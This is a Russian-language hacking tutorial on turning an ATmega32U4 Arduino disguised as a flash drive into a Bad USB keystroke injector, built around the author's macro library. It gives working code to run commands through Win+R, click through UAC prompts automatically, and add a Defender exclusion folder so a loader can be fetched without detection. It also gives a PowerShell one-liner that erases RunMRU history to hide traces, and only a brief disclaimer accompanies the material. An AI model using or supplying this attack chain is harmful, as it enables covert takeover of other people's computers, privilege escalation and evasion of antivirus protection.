Сегодня разберемся с довольно старым но очень даже актуальным методом инфицирования системы, рассмотрим нестандартные приемы Bad USB о которых почему-то мало пишут но и тайной они не являются (такие как: ALT-коды, запуск от имени администратора, обход Windows Defender).
Если вы уже знакомы с Bad USB то можно сразу перейти к основной части. Устройство Bad USB зачастую внешне представляет собой флешку, только вместо чипа флеш-памяти в ней находится только микроконтроллер, который способен притворяться HID (human interface device) устройством (клавиатура / мышь). Чаще всего это Arduino на базе ATmega32U4, самое популярное исполнение которое вы можете найти на Aliexpress это Arduino Leonardo / Micro уже с USB A портом.

Можно просто купить Arduino Micro / Pro Micro на ATmega32U4 за пару баксов на али (но как придать ей вид флешки думайте сами).
Почему Arduino? - Всё просто, это дёшево и легко, я как и многие другие сделал свою библиотеку для создания скриптов такого рода атак.
Если немного углубиться в историю то всё начиналось с Rubber Ducky, работает точно также как и наше детище, разработчики спроектировали возможность хранения скриптов на micro-sd, переключение через перемычки, создали даже скриптовый язык для описания последовательности выполения, в нашем случае будет подобное на макросах языка Си.
Покажу свой вариант внешки устройства:

Это та самая HW-374 но в корпусе от обычной флешки и припаянным портом, может показаться что дикий колхоз но поверьте, в конечном виде не поймёте что девайс представляет собой на самом деле.
ALT-коды - это возможность ввода посредством клавиатуры, используя только цифры на Numpad-е и клавишу ALT (это нам и поможет обойти вероятность неверного ввода из-за неправильно выставленной раскладки клавиатуры). Для использования функций с ALT-кодами необходим включенный Num Lock. (Если всё же очень хочется ALT-кодов но нет точной уверености что Num Lock будет включен то желательно бы замедлить набор где-то от 300 мс, в ином случае будут ошибки при вводе)
И так, мы с вами уже поняли что за устройство, что делает и как выглядит, теперь перейдем к практической части. Для упрощения написания скриптов я уже написал небольшую библиотеку для Arduino модуля Keyboard - EasyBadUsb,
по сути всё что может нас отвлечь я скрыл за реализацией макросов и функций, но немного всё же разберёмся.
Первое что нам необходимо сделать это или склонировать репозиторий или скачать alt.h файл в котором находится основная реализация. Понятное дело что нам понадобиться установить Arduino IDE для компиляции и заливки прошивки на контроллер.
#include "alt.hpp"
BEGIN(10000)
//
// commands
//
END()
После подключения заголовочного файла нам нужно использовать макрос BEGIN(), это инициализирующий параметризованный макрос в который мы передаем количество миллисекунд для задержки от запуска контроллера до первых действий на хосте
(это необходимо чтобы устройство прежде чем начало выполение инициализировалось в системе как HID устройство и не начало выполнение раньше нужного, я рекомендую от 5 до 10 секунд), и макрос END() суть которого думаю описывать не нужно.
Разберём сочетания клавиш которые можно эмулировать (это только моя имплементация, можно конечно гораздо больше но я оставил только необходимое для своих задач):
#define MKEY_LEFT_CTRL (0x0001 << 0x00) // ctrl
#define MKEY_LEFT_WIN (0x0001 << 0x01) // win (super)
#define MKEY_LEFT_SHIFT (0x0001 << 0x02) // shift
#define MKEY_LEFT_ALT (0x0001 << 0x03) // alt
#define MKEY_ENTER (0x0001 << 0x04) // enter
#define MKEY_LEFT_ARROW (0x0001 << 0x05) // left arrow
#define MKEY_RIGHT_ARROW (0x0001 << 0x06) // right arrow
#define MKEY_CH_R (0x0001 << 0x07) // r
#define MKEY_CH_A (0x0001 << 0x08) // a
#define MKEY_CH_C (0x0001 << 0x09) // c
#define MKEY_FN_4 (0x0001 << 0x0A) // F4
#define MKEY_CH_Y (0x0001 << 0x0B) // y
Важно соблюдать последовательность нажатий сверху вниз (причина в моей реализации которая основана на побитовому сравнении значений).
Рассмотрим один из макросов:
// #define PRESS(BTNS, t_sleep)
PRESS(MKEY_LEFT_CTRL | MKEY_LEFT_SHIFT | MKEY_ENTER, 200)
Передаем первым параметром последовательность необходимых к нажатию клавиш, разделяем их вертикальной чертой или же побитовое ИЛИ, вторым время задержки в мс для нажатия на следующую клавишу (это я добавил ибо когда тестил на старом ноуте то он не успевал обрабатывать нажатия с такой скоростью).
Ещё один макрос:
// #define PRESS_KRELALL(BTNS, t_sleep, t_wait)
PRESS_KRELALL(MKEY_LEFT_WIN | MKEY_CH_R, 200, 500)
Первый и второй параметы такие же как и в предыдущем макросе, третий это время задержки в мс до того как осбодить сочетание клавиш (рекомендую 500).
Макрос ожидания:
// #define WAIT(ms)
WAIT(500) // delay 500 ms
Функция ввода текста используя ALT-коды:
void alt_print(const char *str, size_t t_sleep);
const char *payload_str = "powershell -windowstyle hidden...";
alt_print(payload_str, 0);
Передаем первым параметром строку что необходимо напечатать (при данном способе ввода можно использовать только символы из списка который вы видите ниже), вторым время задержки в мс для нажатия на следующую клавишу.
Допустимые символы для ALT-кодов:
static const alt_code alt_codes_array[] = {
{' ', 32}, {'B', 66}, {'C', 67}, {'D', 68}, {'E', 69}, {'F', 70},
{'G', 71}, {'H', 72}, {'I', 73}, {'J', 74}, {'K', 75}, {'L', 76},
{'M', 77}, {'N', 78}, {'O', 79}, {'P', 80}, {'Q', 81}, {'R', 82},
{'S', 83}, {'T', 84}, {'U', 85}, {'V', 86}, {'W', 87}, {'X', 88},
{'Y', 89}, {'Z', 90}, {'a', 97}, {'b', 98}, {'c', 99}, {'d', 100},
{'e', 101}, {'f', 102}, {'g', 103}, {'h', 104}, {'i', 105}, {'j', 106},
{'k', 107}, {'l', 108}, {'m', 109}, {'n', 110}, {'o', 111}, {'p', 112},
{'q', 113}, {'r', 114}, {'s', 115}, {'t', 116}, {'u', 117}, {'v', 118},
{'w', 119}, {'x', 120}, {'y', 121}, {'z', 122}, {'0', 48}, {'1', 49},
{'2', 50}, {'3', 51}, {'4', 52}, {'5', 53}, {'6', 54}, {'7', 55},
{'8', 56}, {'9', 57}, {'!', 33}, {'"', 34}, {'#', 35}, {'$', 36},
{'%', 37}, {'&', 38}, {'\'', 39}, {'(', 40}, {')', 41}, {'*', 42},
{'+', 43}, {',', 44}, {'-', 45}, {'.', 46}, {'/', 47}, {':', 58},
{';', 59}, {'<', 60}, {'=', 61}, {'>', 62}, {'?', 63}, {'@', 64},
{'[', 91}, {'\\', 92}, {']', 93}, {'^', 94}, {'_', 95}, {'`', 96},
{'{', 123}, {'|', 124}, {'}', 125}, {'~', 126}, {'A', 65}};
Есть также возможность ввода стандартным способом без ALT-кодов:
void tprint(const char *str, size_t t_sleep);
const char *payload_str = "powershell -windowstyle hidden...";
tprint(payload_str, 0);
Макрос выполнения команды через Run:
// #define RUN_ENTER(command, t_sleep_print)
RUN_ENTER("msiexec /i https://www.python.org/ftp/python/2.7.18/python-2.7.18.amd64.msi", 0)
Это уже готовый макрос для выполнения команды через меню Run (Выполнить) которое вы можете вызвать комбинацией Win + R, первым параметром идет текст а второй время задержки в мс для нажатия на следующую клавишу.
Для лучшего понимания давайте взглянем на реализацию данного макроса:
#define RUN_ENTER(command, t_sleep_print) \
PRESS_KRELALL(MKEY_LEFT_WIN | MKEY_CH_R, 200, 300) \
alt_print((command), (t_sleep_print)); \
WAIT(200) \
PRESS_KRELALL(MKEY_ENTER, 0, 300) \
WAIT(500)
Один из самых крутых макросов:
// #define RUN_ENTER_AS_ADMIN(command, t_sleep_print)
RUN_ENTER_AS_ADMIN("msiexec /i https://www.python.org/ftp/python/2.7.18/python-2.7.18.amd64.msi", 0)
Работает как и предыдущий то умеет запускаться от имени администратора.
Давайте для лучшего понимания посмотрим на его реализацию:
#define RUN_ENTER_AS_ADMIN(command, t_sleep_print) \
PRESS_KRELALL(MKEY_LEFT_WIN | MKEY_CH_R, 200, 300) \
alt_print((command), (t_sleep_print)); \
WAIT(200) \
PRESS_KRELALL(MKEY_LEFT_CTRL | MKEY_LEFT_SHIFT | MKEY_ENTER, 0, 500) \
WAIT(900) \
PRESS_KRELALL(MKEY_LEFT_ALT | MKEY_CH_Y, 400, 200) \
WAIT(500)
Как видим первая часть полностью повторяет предыдущий макрос но ниже следует комбинация которая пытается выполнить заданную команду в Run от имени администратора (комбинация CTRL + SHIFT + ENTER), после чего нажимается ALT и через 400 мс Y (это один из способов выбрать Yes в UAC окне запроса).
Поговорим о UAC (User Account Control), это компонент винды который запрашивает разрешение на выполение того или иного действия (чаще всего запуск приложений) требующих прав администратора.
Пример того как чаще всего выглядит UAC окно:

Но тут есть большое но, работает это лишь в том случае, если это локальная учетная запись и она является администратором (в 99% пользовательских / домашних вариантах использования Windows это именно так), так что на обычных не корпоративных учётных записях это сработает.
Если говорить о корпоративных учётных записях (учётки которые в Active Directory домене) не являющимися администраторами домена или просто локальная учётка без прав админа, нас встретит вот такой облом:

Данная техника открывает перед нами огромные ворота в страну возможностей!
Самое интересное что нам позволяет делать данная техника так это байпасить Windows Defender, а он в свою очередь является самым популярных средством защиты на системах большинства пользователей. У дефендера есть возможность задавать пути для исключений к обнаружению и реагированию, для этого в реестре по пути HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions есть папки Extensions, Paths, Processes и другие, нас интересует Paths ибо в ней задаются пути к папкам в исключения.

В PowerShell модуле дефендера есть возможность добавлять и удалять исключения для обнаружения, имея права администратора как вы понимаете можно довольно просто сделать где-то в условной APPDATA куда редко кто ходит папку для прогрузки к примеру лоадера, забросить её в список исключений и каким нить IWR или curl прогрузить на хост. Это нам очень сильно снижает нагрузку на серое вещество ибо не надо криптовать бинарь, хотя не стоит забывать и о AMSI (Antimalware Scan Interface).
Пока в EasyBadUsb я не реализовал отдельный функционал для автоматизированной прогрузки чего либо и сразу же добавлять его в исключения но пока покажу как это использовать самому:

Как видим в этом модуле есть ещё много функционала но нас интересует только Add-MpPreference.
Для добавляния папки в исключения необходимо выполнить Add-MpPreference -ExclusionPath $Env:AppData\no_av_dir:

В качестве пути мы написали $Env:AppData\no_av_dir где $Env это переменные среды, через двоеточие и указание необходимого пути получаем полный путь, в конце конечно же указываем имя папки которую бросим в исключения, её изначальное существование даже не обязательно, для начала можно добавить только путь в исключения.
Скорее всего у вас возникнет вопрос, а зачем вообще тригерить PS если через cmd или Run спокойно можно править реестр, но тут нас будет ждать вот такой облом:

Для исполнения PowerShell скриптов из под Run или той же cmd можно вызвать powershell -Command "& {}" и в скобках может писать прямой строчкой весь наш скрипт:

Главное помнить что максимальное количество символов что может принять в себя Run равно 260-1(MAX_PATH), поэтому зарание планируйте свой payload чтобы уместить (в голову приходят шизоидеи по типу последовательного набора текста в Run и копирование в буфер обмена на хосте для последуюего использования но всё же лучше уместить скрипт в эти жалкие 260-1).
Думаю на этом моменте вы уже задумались о том чтобы носить payload с собой на флеш накопителе и это очень даже возможно и полезно (как минимум ваша нагрузка не загружается откуда-то из сети и если хост во время атаки не имеет доступа в сеть то отлично нам подходит, ну и ваша нагрузка имеет меньше шансов быть скомпрометированной ещё до атаки), но тут уже вопрос к вашей реализации, можно находить флешку в badusb скрипте и искать её по именой метке ТОМа, ещё одну флешку с собой таскать и юзать 2 порта хоста привлечет ещё больше внимания, в целом можно в одном корпусе флешки распаять контроллер badusb вместе с флеш накопителем но нужен большой корпус.
В Run (Win + R) после успешного выполнения команды по дефелту пишется история запусков:

Для зачистки наших следов в Run надо отредактировать в реестре переменную MRUList по пути HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU, как можно видеть по картинке ниже что история пишется списком по алфавиту [a-z] и если команда повторяется то её буква перемещается на верх MRUList:

Для очистки последней команды можем выполнить $rmru="HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU";Remove-ItemProperty -Path $rmru -Name (Get-ItemProperty -Path $rmru).MRUList[0] в PowerShell:

Как видим первой в списке была строчка под кодом с и после выполнения она удалилась.
Автор статьи конечно же не поддерживает подобное использование данной информации, все ваши действия на вашей совести!
Сегодня мы рассмотрели возможности одного из типов физических атак и разобрали методы подготовки к полной цепочки атаки от начального выполнения скрипта и до повышения привилегий и байпасом Windows Defender.
Что почитать / посмотреть: